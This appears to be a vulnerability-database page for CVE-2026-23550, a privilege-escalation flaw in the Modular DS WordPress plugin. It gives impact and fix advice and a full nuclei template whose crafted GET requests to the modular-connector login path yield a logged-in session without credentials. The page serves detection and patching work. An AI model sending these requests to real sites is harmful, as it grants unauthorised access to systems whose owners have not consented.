Browse / CVEs / CVE-2026-23550
CVE-2026-23550
Modular DS - Broken Access Control
highseverity
21.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
Modular DS = 2.5.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.
Impact
Attackers can escalate their privileges, potentially gaining unauthorized access to sensitive functions or data.
Fix
Update to the latest version beyond 2.5.1.
How to confirm it
Send: GET {{BaseURL}}/index.php/api/modular-connector/login/{{string}}/?origin=mo&type=foo ; GET {{BaseURL}}/api/modular-connector/login/{{string}}/?origin=mo&type=foo
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")Run it with nuclei: nuclei -id CVE-2026-23550 -u <target>
The full check
id: CVE-2026-23550
info:
name: Modular DS - Broken Access Control
author: DhiyaneshDk,l46983284-cpu
severity: high
description: |
Modular DS = 2.5.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.
impact: |
Attackers can escalate their privileges, potentially gaining unauthorized access to sensitive functions or data.
remediation: |
Update to the latest version beyond 2.5.1.
reference:
- https://help.modulards.com/en/article/modular-ds-security-release-modular-connector-252-dm3mv0/
- https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerability
metadata:
verified: true
max-request: 1
fofa-query: body="/plugins/modular-connector/"
tags: cve,cve2026,wordpress,wp-plugin,wp,auth-bypass,modular-connector,vkev,vuln
variables:
string: "{{to_lower(rand_text_alpha(5))}}"
http:
- method: GET
path:
- "{{BaseURL}}/index.php/api/modular-connector/login/{{string}}/?origin=mo&type=foo"
- "{{BaseURL}}/api/modular-connector/login/{{string}}/?origin=mo&type=foo"
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: andReferences
- https://help.modulards.com/en/article/modular-ds-security-release-modular-connector-252-dm3mv0/
- https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerability
Use this check only on systems you are authorised to test. Where the data comes from